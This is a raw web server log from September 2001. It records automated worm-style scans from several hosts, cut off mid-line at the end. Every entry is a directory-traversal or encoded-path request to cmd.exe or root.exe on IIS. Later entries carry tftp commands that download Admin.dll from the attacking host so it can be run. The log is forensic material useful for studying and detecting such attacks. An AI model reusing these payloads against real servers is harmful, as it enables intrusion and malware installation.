04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:48:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:50:14: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:52:09: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:52:10: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:14: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:15: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:15: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:16: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:16: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:17: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:25: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:26: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:52:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:59:15: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:00:54: sinfoforum.hkkk.fi [128.214.35.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:56: sinfoforum.hkkk.fi [128.214.35.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:56: sinfoforum.hkkk.fi [128.214.35.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:01:00: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:37: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:06:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:09:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:09:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 05:11:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 05:11:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/Admin.dll HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/Admin.dll HTTP/1.0" 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET 